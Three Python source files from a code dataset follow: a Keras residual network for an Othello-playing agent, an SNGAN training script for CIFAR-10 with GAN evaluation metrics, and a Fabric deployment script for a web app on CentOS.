+{"seq_id":"559640969","text":"import sys\nsys.path.append('..')\nfrom utils import *\n\nimport argparse\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.regularizers import l2\nimport tensorflow as tf\nimport keras.backend.tensorflow_backend as KTF\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nsession = tf.Session(config=config)\nKTF.set_session(session)\n\nclass OthelloNNet():\n def __init__(self, game, args):\n # game params\n self.board_x, self.board_y = game.getBoardSize()\n self.action_size = game.getActionSize()\n self.args = args\n \n\n # Neural Net\n self.input_boards = Input(shape=(self.board_x, self.board_y)) # s: batch_size x board_x x board_y\n\n x_image = Reshape((self.board_x, self.board_y, 1))(self.input_boards) # batch_size x board_x x board_y x 1\n \n resnet_v12 = self.resnet_v1(inputs = x_image, num_res_blocks = 2)\n gap1 = GlobalAveragePooling2D()(resnet_v12)\n #res_flatten = Flatten()(resnet_v16) \n #s_fc1 = Dropout(args.dropout)(Activation('relu')(BatchNormalization(axis=1)(Dense(1024, use_bias=False)(res_flatten)))) # batch_size x 1024\n #s_fc2 = Dropout(args.dropout)(Activation('relu')(BatchNormalization(axis=1)(Dense(512, use_bias=False)(s_fc1)))) # batch_size x 1024\n self.pi = Dense(self.action_size, activation='softmax', name='pi')(gap1) # batch_size x self.action_size\n self.v = Dense(1, activation='tanh', name='v')(gap1) # batch_size x 1\n\n self.model = Model(inputs=self.input_boards, outputs=[self.pi, self.v])\n self.model.compile(loss=['categorical_crossentropy','mean_squared_error'], optimizer=Adam(args.lr))\n \n \n def resnet_layer(self, inputs, num_filter = 16, kernel_size = 3, strides = 1, activation = 'relu', batch_normalization = True, conv_first = True, padding = 'same'):\n \n conv = Conv2D(num_filter, \n kernel_size = kernel_size, \n strides = strides, \n padding = padding,\n use_bias = False, \n kernel_regularizer = l2(1e-4))\n \n x = inputs\n if conv_first:\n x = conv(x)\n if batch_normalization:\n x = BatchNormalization(axis=3)(x)\n if activation is not None:\n x = Activation(activation)(x)\n \n else:\n if batch_normalization:\n x = BatchNormalization(axis=3)(x)\n if activation is not None:\n x = Activation(activation)(x)\n x = conv(x)\n return x\n\n \n \n\n def resnet_v1(self, inputs, num_res_blocks):\n x = inputs\n for i in range(1):\n resnet = self.resnet_layer(inputs = x, num_filter = 128) \n resnet = self.resnet_layer(inputs = resnet, num_filter = 128, activation = None) \n resnet = add([resnet, x])\n resnet = Activation('relu')(resnet)\n x = resnet\n\n for i in range(2):\n if(i == 0):\n resnet = self.resnet_layer(inputs = x, num_filter = 256,strides=2)\n resnet = self.resnet_layer(inputs = resnet, num_filter = 256, activation = None)\n else:\n resnet = self.resnet_layer(inputs = x, num_filter = 256)\n resnet = self.resnet_layer(inputs = resnet, num_filter = 256, activation = None)\n if(i == 0):\n x = self.resnet_layer(inputs = x, num_filter = 256, strides=2)\n resnet = add([resnet, x])\n resnet = Activation('relu')(resnet)\n x = resnet\n\n for i in range(2):\n if(i == 0):\n resnet = self.resnet_layer(inputs = x, num_filter = 512,strides=2)\n resnet = self.resnet_layer(inputs = resnet, num_filter = 512, activation = None)\n else:\n resnet = self.resnet_layer(inputs = x, num_filter = 512)\n resnet = self.resnet_layer(inputs = resnet, num_filter = 512, activation = None)\n if(i == 0):\n x = self.resnet_layer(inputs = x, num_filter = 512, strides=2)\n resnet = add([resnet, x])\n resnet = Activation('relu')(resnet)\n x = resnet\n \n \n\n return x\n\n \n\n ","sub_path":"othello/othello_8x8/othello/keras/resOthelloNNet.py","file_name":"resOthelloNNet.py","file_ext":"py","file_size_in_byte":4404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"287153829","text":"#-*-coding:utf-8-*-\nfrom __future__ import print_function, division\nfrom keras.layers import Input, Dense, Reshape, Flatten, Dropout, multiply\nfrom keras.layers import BatchNormalization, Activation, Embedding, ZeroPadding2D\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import UpSampling2D, Conv2D\nfrom keras.models import Sequential, Model\nfrom keras.optimizers import Adam\nfrom keras.models import Sequential\nimport util\nimport utils\nimport tensorflow.contrib.gan as tfgan\nnum_images_to_eval = 500\nimport torch.nn as nn\nimport tensorflow as tf\nfrom PIL import Image\n\ngpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.5)\nsess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\nimport numpy as np\nfrom torch.utils.data import Dataset\nclass MyDataset(Dataset):\n def __init__(self, imgs, transform=None):\n\n self.imgs = imgs\n self.transform = transform\n def __len__(self):\n return len(self.imgs)\n\n def __getitem__(self, index):\n img = self.imgs[index]\n img = img.transpose(2,0, 1)\n if self.transform is not None:\n\n img=transforms.ToTensor()(img)\n else:\n img = torch.from_numpy(img)\n\n\n return img\n\n\nimport math\nimport os\nimport numpy as np\nimport ot\nimport torch\nimport torch.nn.functional as F\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport torchvision.utils as vutils\nimport torchvision.models as models\n\nfrom scipy import linalg\n\nfrom keras.datasets import mnist\nimport matplotlib.pyplot as plt\n\ndef giveName(iter): # 7 digit name.\n ans = str(iter)\n return ans.zfill(7)\n\ndef make_dataset(dataset, dataroot, imageSize):\n \"\"\"\n :param dataset: must be in 'cifar10 | lsun | imagenet | folder | lfw | fake'\n :return: pytorch dataset for DataLoader to utilize\n \"\"\"\n if dataset in ['imagenet', 'folder', 'lfw']:\n print(os.getcwd() + dataroot) # 函数的作用是用于返回当前工作目录\n # folder dataset\n # dataset = dset.ImageFolder(root=dataroot,\n dataset = dset.ImageFolder(root=os.getcwd() + dataroot,\n transform=transforms.Compose([\n transforms.Resize(imageSize),\n # transforms.CenterCrop(imageSize),\n transforms.ToTensor(),\n transforms.Normalize(\n (0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\n elif dataset == 'lsun':\n dataset = dset.LSUN(db_path=dataroot, classes=['bedroom_train'],\n transform=transforms.Compose([\n transforms.Resize(imageSize),\n transforms.CenterCrop(imageSize),\n transforms.ToTensor(),\n transforms.Normalize(\n (0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\n elif dataset == 'cifar10':\n dataset = dset.CIFAR10(root=dataroot, download=True,\n transform=transforms.Compose([\n transforms.Resize(imageSize),\n transforms.ToTensor(),\n transforms.Normalize(\n (0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\n elif dataset == 'celeba':\n dataset = dset.ImageFolder(root=dataroot,\n transform=transforms.Compose([\n transforms.CenterCrop(138),\n transforms.Resize(imageSize),\n transforms.ToTensor(),\n transforms.Normalize(\n (0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ]))\n else:\n raise Exception('--dataset must be in cifar10 | lsun | imagenet | folder | lfw | fake')\n assert dataset\n return dataset\n\nMNIST_CLASSIFIER_FROZEN_GRAPH = './classify_mnist_graph_def.pb'\nINPUT_TENSOR = 'inputs:0'\nOUTPUT_TENSOR = 'logits:0'\n# CONV_TENSOR = 'fc3/Relu:0'\nCONV_TENSOR = 'fc4/BiasAdd:0'\nclass ConvNetFeatureSaver(object):\n def __init__(self, model='cnn', workers=4, batchSize=64):\n '''\n model: inception_v3, vgg13, vgg16, vgg19, resnet18, resnet34,\n resnet50, resnet101, or resnet152\n '''\n self.model = model\n self.batch_size = batchSize\n self.workers = workers\n if self.model.find('tfgan') >= 0:\n print('tfgan')\n\n elif self.model.find('vgg') >= 0:\n self.vgg = getattr(models, model)(pretrained=True).cuda().eval()\n self.trans = transforms.Compose([\n transforms.Resize(224),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406),\n (0.229, 0.224, 0.225)),\n ])\n elif self.model.find('resnet') >= 0:\n resnet = getattr(models, model)(pretrained=True)\n resnet.cuda().eval()\n resnet_feature = nn.Sequential(resnet.conv1, resnet.bn1,\n resnet.relu,\n resnet.maxpool, resnet.layer1,\n resnet.layer2, resnet.layer3,\n resnet.layer4).cuda().eval()\n self.resnet = resnet\n self.resnet_feature = resnet_feature\n self.trans = transforms.Compose([\n transforms.Resize(224),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406),\n (0.229, 0.224, 0.225)),\n ])\n elif self.model == 'inception' or self.model == 'inception_v3':\n inception = models.inception_v3(\n pretrained=True, transform_input=False).cuda().eval()\n inception_feature = nn.Sequential(inception.Conv2d_1a_3x3,\n inception.Conv2d_2a_3x3,\n inception.Conv2d_2b_3x3,\n nn.MaxPool2d(3, 2),\n inception.Conv2d_3b_1x1,\n inception.Conv2d_4a_3x3,\n nn.MaxPool2d(3, 2),\n inception.Mixed_5b,\n inception.Mixed_5c,\n inception.Mixed_5d,\n inception.Mixed_6a,\n inception.Mixed_6b,\n inception.Mixed_6c,\n inception.Mixed_6d,\n inception.Mixed_7a,\n inception.Mixed_7b,\n inception.Mixed_7c,\n ).cuda().eval()\n self.inception = inception\n self.inception_feature = inception_feature\n self.trans = transforms.Compose([\n transforms.Resize(299),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n ])\n else:\n raise NotImplementedError\n\n def save(self, imgFolder, dataloader, save2disk=False):\n feature_pixl, feature_conv, feature_smax, feature_logit = [], [], [], []\n\n for img in dataloader:\n with torch.no_grad():\n\n input = img.type(torch.FloatTensor).cuda() # 转Float\n if self.model == 'tfgan':\n gen_imgs = np.array(img)\n eval_images = tf.convert_to_tensor(gen_imgs)\n flogit = util.mnist_logits(eval_images, MNIST_CLASSIFIER_FROZEN_GRAPH, INPUT_TENSOR, OUTPUT_TENSOR)\n fconv = util.mnist_logits(eval_images, MNIST_CLASSIFIER_FROZEN_GRAPH, INPUT_TENSOR, CONV_TENSOR)\n flogit,fconv=tf.Session().run([flogit,fconv])\n\n flogit=torch.from_numpy(flogit)\n fconv=torch.from_numpy(fconv)\n elif self.model == 'vgg' or self.model == 'vgg16':\n print(self.vgg.features(input).shape)\n fconv = self.vgg.features(input).view(input.size(0), -1) # 相当于reshape\n flogit = self.vgg.classifier(fconv)\n # flogit = self.vgg.logitifier(fconv)\n elif self.model.find('resnet') >= 0:\n fconv = self.resnet_feature(\n input).mean(3).mean(2).squeeze()\n flogit = self.resnet.fc(fconv)\n elif self.model == 'inception' or self.model == 'inception_v3':\n fconv = self.inception_feature(\n input).mean(3).mean(2).squeeze()\n flogit = self.inception.fc(fconv)\n\n else:\n raise NotImplementedError\n fsmax = F.softmax(flogit)\n '''\n 总共有四个空间:1.feature_pixl 2.feature_conv 3.feature_logit 4.feature_smax\n '''\n feature_pixl.append(img)\n feature_conv.append(fconv.data.cpu())\n feature_logit.append(flogit.data.cpu())\n feature_smax.append(fsmax.data.cpu())\n\n feature_pixl = torch.cat(feature_pixl, 0).to('cpu')\n feature_conv = torch.cat(feature_conv, 0).to('cpu')\n feature_logit = torch.cat(feature_logit, 0).to('cpu')\n feature_smax = torch.cat(feature_smax, 0).to('cpu')\n\n\n return feature_pixl, feature_conv, feature_logit, feature_smax\n\n # return feature_pixl, feature_conv, feature_logit, feature_smax\n\n\ndef distance(X, Y, sqrt):\n nX = X.size(0)\n nY = Y.size(0)\n X = X.view(nX, -1)\n X2 = (X * X).sum(1).resize_(nX, 1)\n Y = Y.view(nY, -1)\n Y2 = (Y * Y).sum(1).resize_(nY, 1)\n\n M = torch.zeros(nX, nY)\n M.copy_(X2.expand(nX, nY) + Y2.expand(nY, nX).transpose(0, 1) -\n 2.0 * torch.mm(X, Y.transpose(0, 1)))\n\n del X, X2, Y, Y2\n\n if sqrt:\n M = ((M + M.abs()) / 2).sqrt()\n\n return M\n\n\ndef wasserstein(M, sqrt):\n if sqrt:\n M = M.abs().sqrt()\n emd = ot.emd2([], [], M.numpy())\n\n return emd\n\n\nclass Score_knn:\n acc = 0\n acc_real = 0\n acc_fake = 0\n precision = 0\n recall = 0\n tp = 0\n fp = 0\n fn = 0\n ft = 0\n\n\ndef knn(Mxx, Mxy, Myy, k, sqrt):\n n0 = Mxx.size(0)\n n1 = Myy.size(0)\n label = torch.cat((torch.ones(n0), torch.zeros(n1)))\n M = torch.cat((torch.cat((Mxx, Mxy), 1), torch.cat(\n (Mxy.transpose(0, 1), Myy), 1)), 0)\n if sqrt:\n M = M.abs().sqrt()\n INFINITY = float('inf')\n val, idx = (M + torch.diag(INFINITY * torch.ones(n0 + n1))\n ).topk(k, 0, False)\n\n count = torch.zeros(n0 + n1)\n for i in range(0, k):\n count = count + label.index_select(0, idx[i])\n pred = torch.ge(count, (float(k) / 2) * torch.ones(n0 + n1)).float()\n\n s = Score_knn()\n s.tp = (pred * label).sum()\n s.fp = (pred * (1 - label)).sum()\n s.fn = ((1 - pred) * label).sum()\n s.tn = ((1 - pred) * (1 - label)).sum()\n s.precision = s.tp / (s.tp + s.fp + 1e-10)\n s.recall = s.tp / (s.tp + s.fn + 1e-10)\n s.acc_t = s.tp / (s.tp + s.fn)\n s.acc_f = s.tn / (s.tn + s.fp)\n s.acc = torch.eq(label, pred).float().mean()\n s.k = k\n\n return s\n\n\ndef mmd(Mxx, Mxy, Myy, sigma):\n scale = Mxx.mean()\n Mxx = torch.exp(-Mxx / (scale * 2 * sigma * sigma))\n Mxy = torch.exp(-Mxy / (scale * 2 * sigma * sigma))\n Myy = torch.exp(-Myy / (scale * 2 * sigma * sigma))\n mmd = math.sqrt(Mxx.mean() + Myy.mean() - 2 * Mxy.mean())\n\n return mmd\n\n\ndef entropy_score(X, Y, epsilons):\n Mxy = distance(X, Y, False)\n scores = []\n for epsilon in epsilons:\n scores.append(ent(Mxy.t(), epsilon))\n\n return scores\n\n\ndef ent(M, epsilon):\n n0 = M.size(0)\n n1 = M.size(1)\n neighbors = M.lt(epsilon).float()\n sums = neighbors.sum(0).repeat(n0, 1)\n sums[sums.eq(0)] = 1\n neighbors = neighbors.div(sums)\n probs = neighbors.sum(1) / n1\n rem = 1 - probs.sum()\n if rem < 0:\n rem = 0\n probs = torch.cat((probs, rem * torch.ones(1)), 0)\n e = {}\n e['probs'] = probs\n probs = probs[probs.gt(0)]\n e['ent'] = -probs.mul(probs.log()).sum()\n\n return e\n\n\neps = 1e-20\n\n\ndef inception_score(X):\n kl = X * ((X + eps).log() - (X.mean(0) + eps).log().expand_as(X))\n score = np.exp(kl.sum(1).mean())\n\n return score\n\n\ndef mode_score(X, Y):\n kl1 = X * ((X + eps).log() - (X.mean(0) + eps).log().expand_as(X))\n kl2 = X.mean(0) * ((X.mean(0) + eps).log() - (Y.mean(0) + eps).log())\n score = np.exp(kl1.sum(1).mean() - kl2.sum())\n\n return score\n\n\ndef fid(X, Y):\n m = X.mean(0)\n m_w = Y.mean(0)\n X_np = X.numpy()\n Y_np = Y.numpy()\n\n C = np.cov(X_np.transpose())\n C_w = np.cov(Y_np.transpose())\n C_C_w_sqrt = linalg.sqrtm(C.dot(C_w), True).real\n\n score = m.dot(m) + m_w.dot(m_w) - 2 * m_w.dot(m) + \\\n np.trace(C + C_w - 2 * C_C_w_sqrt)\n return np.sqrt(score)\n\n\nclass Score:\n emd = 0\n mmd = 0\n knn = None\n\n\ndef compute_score(real, fake, k=1, sigma=1, sqrt=True):\n Mxx = distance(real, real, False)\n Mxy = distance(real, fake, False)\n Myy = distance(fake, fake, False)\n\n s = Score()\n s.emd = wasserstein(Mxy, sqrt)\n s.mmd = mmd(Mxx, Mxy, Myy, sigma)\n s.knn = knn(Mxx, Mxy, Myy, k, sqrt)\n\n return s\n\n\n'''\n参数说明:\ndataset:真实数据集的path\nimageSize:图片的大小\ndataroot_real:真实数据所在的path\nbatchSize\nsaveFolder_r:真实数据的保存位置\nconv_model:卷积模型\n'''\n\n\ndef compute_score_raw(real_dataloader, fake_dataloader, batchSize, saveFolder_r, saveFolder_f, conv_model='resnet34',\n workers=4):\n convnet_feature_saver = ConvNetFeatureSaver(model=conv_model,\n batchSize=batchSize, workers=workers)\n print(saveFolder_r)\n print(saveFolder_f)\n feature_r = convnet_feature_saver.save(saveFolder_r, real_dataloader, False)\n feature_f = convnet_feature_saver.save(saveFolder_f, fake_dataloader, False)\n\n\n # 4 feature spaces and 7 scores + incep + modescore + fid\n score = np.zeros(2 * 7 + 3)\n for i in range(0, 2):\n print('compute score in space: ' + str(i))\n Mxx = distance(feature_r[i], feature_r[i], False)\n Mxy = distance(feature_r[i], feature_f[i], False)\n Myy = distance(feature_f[i], feature_f[i], False)\n\n score[i * 7] = wasserstein(Mxy, True)\n score[i * 7 + 1] = mmd(Mxx, Mxy, Myy, 1)\n tmp = knn(Mxx, Mxy, Myy, 1, False)\n score[(i * 7 + 2):(i * 7 + 7)] = \\\n tmp.acc, tmp.acc_t, tmp.acc_f, tmp.precision, tmp.recall\n\n\n score[14] = inception_score(feature_f[3])\n score[15] = mode_score(feature_r[3], feature_f[3])\n score[16] = fid(feature_r[3], feature_f[3])\n\n return score\nlabels_name=['w_pixl','mmd_pixl','acc_pixl','acc_t_pixl','acc_f_pixl','acc_precision_pixl','acc_recall_pixl',\n 'w_conv','mmd_conv','acc_conv','acc_t_conv','acc_f_conv','acc_precision_conv','acc_recall_conv',\n 'is','mode_score','fid']\nif not os.path.isdir('saved_models_{}'.format('sngan')):\n os.mkdir('saved_models_{}'.format('sngan'))\nf = open('saved_models_{}/log_collapse1.txt'.format('sngan'), mode='w')\nimport torch.utils.data as Data\nimport cv2\nx = []\ny = np.zeros((31, 1), dtype=np.int)\ny = list(y)\nfor i in range(31):\n y[i] = []\n# for Generative Adversarial Networks\n# Ref:\n# - https: // arxiv.org / abs / 1802.05957\n# - https: // github.com / pfnet - research / sngan_projection / tree / master / source\nimport keras\nfrom keras.datasets import cifar10\nimport os\nfrom scipy import misc\nimport numpy as np\nimport tensorflow as tf\nimport keras.backend as K\nfrom keras.models import Sequential\nfrom keras.layers import GlobalAveragePooling2D,LeakyReLU,Conv2DTranspose, Conv2D\nfrom keras.optimizers import Adam\nimport os\nfrom keras.layers.convolutional import _Conv\nfrom keras.legacy import interfaces\nfrom keras.engine import InputSpec\nimport keras.backend.tensorflow_backend as KTF\n\nfrom scipy import misc\ndef set_gpu_config(device = \"0\",fraction=0.25):\n config = tf.ConfigProto()\n config.gpu_options.per_process_gpu_memory_fraction = fraction\n config.gpu_options.visible_device_list = device\n KTF.set_session(tf.Session(config=config))\n\n\ndef predict_images(file_name, generator, noise_size, n = 10, size = 32):\n\n image = generator.predict(np.random.normal(size=(n*n, ) + noise_size))\n\n image = np.reshape(image, (n, n, size, size, 3))\n image = np.transpose(image, (0, 2, 1, 3, 4))\n image = np.reshape(image, (n*size, n*size, 3))\n\n image = 255 * (image + 1) / 2\n image = image.astype(\"uint8\")\n misc.imsave(file_name, image)\ndef build_generator(input_shape):\n model = Sequential()\n\n model.add(Conv2DTranspose(512,(3,3),strides=(2,2),padding=\"same\",input_shape=input_shape))\n model.add(LeakyReLU(0.2))\n\n model.add(Conv2DTranspose(256,(3,3),strides=(2,2),padding=\"same\"))\n model.add(LeakyReLU(0.2))\n\n model.add(Conv2DTranspose(128,(3,3),strides=(2,2),padding=\"same\"))\n model.add(LeakyReLU(0.2))\n\n model.add(Conv2DTranspose(64,(3,3),strides=(2,2),padding=\"same\"))\n model.add(LeakyReLU(0.2))\n\n model.add(Conv2D(3,(3,3),padding=\"same\",activation=\"tanh\"))\n model.summary()\n return model\n\n\ndef build_discriminator(input_shape):\n model = Sequential()\n\n model.add(SNConv2D(64,(3,3),strides=(2,2),padding=\"same\",input_shape=input_shape))\n model.add(LeakyReLU(0.2))\n\n model.add(SNConv2D(128,(3,3),strides=(2,2),padding=\"same\"))\n model.add(LeakyReLU(0.2))\n\n model.add(SNConv2D(256,(3,3),strides=(2,2),padding=\"same\"))\n model.add(LeakyReLU(0.2))\n\n model.add(SNConv2D(512,(3,3),strides=(2,2),padding=\"same\"))\n model.add(LeakyReLU(0.2))\n\n model.add(SNConv2D(1,(3,3),padding=\"same\"))\n model.add(GlobalAveragePooling2D())\n model.summary()\n\n return model\n\ndef build_functions(batch_size, noise_size, image_size, generator, discriminator):\n\n noise = K.random_normal((batch_size,) + noise_size,0.0,1.0,\"float32\")\n real_image = K.placeholder((batch_size,) + image_size)\n fake_image = generator(noise)\n\n d_input = K.concatenate([real_image, fake_image], axis=0)\n pred_real, pred_fake = tf.split(discriminator(d_input), num_or_size_splits = 2, axis = 0)\n\n d_loss = K.mean(K.maximum(0., 1 - pred_real)) + K.mean(K.maximum(0., 1 + pred_fake))\n g_loss = -K.mean(pred_fake)\n\n d_training_updates = Adam(lr=0.0001, beta_1=0.0, beta_2=0.9).get_updates(d_loss, discriminator.trainable_weights)\n d_train = K.function([real_image, K.learning_phase()], [d_loss], d_training_updates)\n\n g_training_updates = Adam(lr=0.0001, beta_1=0.0, beta_2=0.9).get_updates(g_loss, generator.trainable_weights)\n g_train = K.function([real_image, K.learning_phase()], [g_loss], g_training_updates)\n\n return d_train,g_train\n\nclass SNConv2D(_Conv):\n @interfaces.legacy_conv2d_support\n def __init__(self, filters,\n kernel_size,\n strides=(1, 1),\n padding='valid',\n data_format=None,\n dilation_rate=(1, 1),\n activation=None,\n use_bias=True,\n kernel_initializer='glorot_uniform',\n bias_initializer='zeros',\n kernel_regularizer=None,\n bias_regularizer=None,\n activity_regularizer=None,\n kernel_constraint=None,\n bias_constraint=None,\n **kwargs):\n\n super(SNConv2D, self).__init__(\n rank=2,\n filters=filters,\n kernel_size=kernel_size,\n strides=strides,\n padding=padding,\n data_format=data_format,\n dilation_rate=dilation_rate,\n activation=activation,\n use_bias=use_bias,\n kernel_initializer=kernel_initializer,\n bias_initializer=bias_initializer,\n kernel_regularizer=kernel_regularizer,\n bias_regularizer=bias_regularizer,\n activity_regularizer=activity_regularizer,\n kernel_constraint=kernel_constraint,\n bias_constraint=bias_constraint,\n **kwargs)\n\n self.input_spec = InputSpec(ndim=4)\n self.Ip = 1\n self.u = self.add_weight(\n name='W_u',\n shape=(1,filters),\n initializer='random_uniform',\n trainable=False\n )\n\n def call(self, inputs):\n outputs = K.conv2d(\n inputs,\n self.W_bar(),\n strides=self.strides,\n padding=self.padding,\n data_format=self.data_format,\n dilation_rate=self.dilation_rate)\n\n if self.use_bias:\n outputs = K.bias_add(\n outputs,\n self.bias,\n data_format=self.data_format)\n\n if self.activation is not None:\n return self.activation(outputs)\n return outputs\n\n\n def get_config(self):\n config = super(SNConv2D, self).get_config()\n config.pop('rank')\n return config\n\n def W_bar(self):\n # Spectrally Normalized Weight\n W_mat = K.permute_dimensions(self.kernel, (3, 2, 0, 1)) # (h, w, i, o) => (o, i, h, w)\n W_mat = K.reshape(W_mat,[K.shape(W_mat)[0], -1]) # (o, i * h * w)\n\n if not self.Ip >= 1:\n raise ValueError(\"The number of power iterations should be positive integer\")\n\n _u = self.u\n _v = None\n\n for _ in range(self.Ip):\n _v = _l2normalize(K.dot(_u, W_mat))\n _u = _l2normalize(K.dot(_v, K.transpose(W_mat)))\n\n sigma = K.sum(K.dot(_u,W_mat)*_v)\n\n K.update(self.u,K.in_train_phase(_u, self.u))\n return self.kernel / sigma\n\ndef _l2normalize(x):\n return x / K.sqrt(K.sum(K.square(x)) + K.epsilon())\nset_gpu_config(\"0\",0.5)\n\nepochs = 50\nimage_size = (32,32,3)\nnoise_size = (2,2,32)\nbatch_size = 64\nsample_size=10\nsize=32\nsample_interval=200\n(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n\nnum_of_data = x_train.shape[0]\nx_train = x_train.astype(\"float32\")\nx_test = x_test.astype(\"float32\")\nx_train = (x_train.astype(np.float32) - 127.5) / 127.5\nx_test = (x_test.astype(np.float32) - 127.5) / 127.5\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n\ngenerator = build_generator(noise_size)\ndiscriminator = build_discriminator(image_size)\nd_train, g_train = build_functions(batch_size, noise_size, image_size, generator, discriminator)\n\nnb_batches = int(x_train.shape[0] / batch_size)\nglobal_step = 0\nfor epoch in range(epochs):\n for index in range(nb_batches):\n global_step += 1\n real_images = x_train[index * batch_size:(index + 1) * batch_size]\n d_loss, = d_train([real_images, 1])\n g_loss, = g_train([real_images, 1])\n print(\"[{0}/{1}] [{2}_{3}] d_loss: {4:.4}, g_loss: {5:.4}\".format(epoch, epochs, epoch, global_step, d_loss,\n g_loss))\n sampleSize = 5000\n # If at save interval => save generated image samples\n if global_step % sample_interval == 0:\n x.append(epoch)\n gen_imgs = generator.predict(np.random.normal(size=(sample_size,) + noise_size))\n # gen_imgs = np.reshape(gen_imgs, (sample_size, sample_size, size, size, 3))\n # gen_imgs = np.transpose(gen_imgs, (0, 2, 1, 3, 4))\n # gen_imgs = np.reshape(gen_imgs, (sample_size * size, sample_size * size, 3))\n\n # gen_imgs = 255 * (gen_imgs + 1) / 2\n\n gen_imgs = np.array([cv2.resize(img, (299, 299)) for img in gen_imgs])\n X_test = np.array([cv2.resize(img, (299, 299)) for img in x_test[:sampleSize]])\n x_dataset = MyDataset(X_test)\n # print(x_dataset[0].shape)\n x_real_loader = Data.DataLoader(dataset=x_dataset, batch_size=64, shuffle=True)\n x_fake_dataset = MyDataset(gen_imgs)\n x_fake_loader = Data.DataLoader(dataset=x_fake_dataset, batch_size=64, shuffle=True)\n s = compute_score_raw(x_real_loader, x_fake_loader, 256, '/real/', './fake', conv_model='inception',\n workers=int(1))\n # real_images = tf.convert_to_tensor(X_test) # real images\n # # MNIST_CLASSIFIER_FROZEN_GRAPH = '.\\classify_mnist_graph_def.pb'\n # gen_imgs = np.array(gen_imgs)\n # eval_images = tf.convert_to_tensor(gen_imgs)\n # eval_score = utils.mnist_score(eval_images, MNIST_CLASSIFIER_FROZEN_GRAPH) # IS score\n # frechet_distance = utils.mnist_frechet_distance(real_images, eval_images, MNIST_CLASSIFIER_FROZEN_GRAPH)\n # mnist_score, f_distance = sess.run([eval_score, frechet_distance])\n # # print(mnist_score)\n # # print(f_distance)\n # # s[14]=mnist_score\n # # s[16]=f_distance\n # s[17]=mnist_score\n # s[18]=f_distance\n # print('IS socre: %f' % mnist_score)\n # print('FID: %f' % f_distance)\n\n for i in range(len(s)):\n print(i, \"=\", s[i])\n for i in range(len(s)):\n y[i].append(s[i])\n f.writelines('\\n')\n f.writelines('epoch:' + str(epoch))\n f.writelines('\\n')\n f.writelines(' %.8f ' % (i) for i in s)\n f.writelines('\\n')\nfor i in range(len(s)):\n y[i] = [float(j) / max(y[i]) for j in y[i]] # 对值进行归一化处理\n\nfor i in range(len(s)):\n font1 = {'size': 8}\n plt.plot(x, y[i], label=labels_name[i])\n plt.legend(loc='lower right', prop=font1)\n plt.savefig('saved_models_sngan/{}.png'.format(labels_name[i]))\n plt.show()\n plt.close()\n","sub_path":"Traditional metrics/cifar-10/sngan_cifar.py","file_name":"sngan_cifar.py","file_ext":"py","file_size_in_byte":26451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"443288479","text":"from fabric.api import local, run, sudo, cd\nfrom fabric.api import env\nfrom fabric.contrib import files\nimport config\n\nenv.hosts = config.HOSTS\n# centos 7\ndef install_packages_centos_7():\n packages = [\n 'python3-pip',\n 'python3-devel',\n 'python3-venv',\n 'nginx',\n 'git-core'\n ]\n sudo('yum install -y {}'.format(' '.join(packages)))\n\n\ndef create_venv():\n if files.exists(config.VENV_PATH):\n run(f\"rm -rf {config.VENV_PATH}\")\n run('python3 -m venv venv')\n\ndef install_project_code():\n if not files.exists(config.PROJECT_PATH):\n run(f'git clone {config.PROJECT_GIT_PATH}')\n else:\n with cd(config.PROJECT_PATH):\n run('git pull')\n \ndef install_pip_requirements():\n with cd(config.PROJECT_PATH):\n run(f'{config.VENV_PATH}/bin/pip install -r requirements.txt -U')\n\ndef configure_uwsgi():\n sudo(\"python3 -m pip install uwsgi\")\n sudo(\"mkdir -p /etc/uwsgi/sites\")\n files.upload_template('templates/uwsgi.ini', '/etc/uwsgi/sites/gqlshop.ini', use_sudo=True)\n files.upload_template('templates/uwsgi.service', '/etc/systemd/system/uwsgi.service', use_sudo=True)\n\ndef configure_nginx():\n if files.exists(\"/etc/nginx/sites-enabled/default\"):\n sudo(\"rm /etc/nginx/sites-enabled/default\")\n files.upload_template('templates/nginx.conf', '/etc/nginx/sites-enable/gqlshop.conf', use_sudo=True)\n\ndef migrate_database():\n with cd(config.PROJECT_PATH):\n run(f'{config.VENV_PATH}/bon/python manage.py migrate')\n\ndef restart_all():\n sudo(\"systemctl daemon-reload\")\n sudo(\"systemctl reload nginx\")\n sudo(\"systemctl restart uwsgi\")\n\n\n\n\ndef bootstrap():\n install_packages_centos_7()\n create_venv()\n install_project_code()\n install_pip_requirements()\n configure_uwsgi()\n configure_nginx()\n migrate_database()\n restart_all()\n\n\n# def hello():\n# sudo('whoami')","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
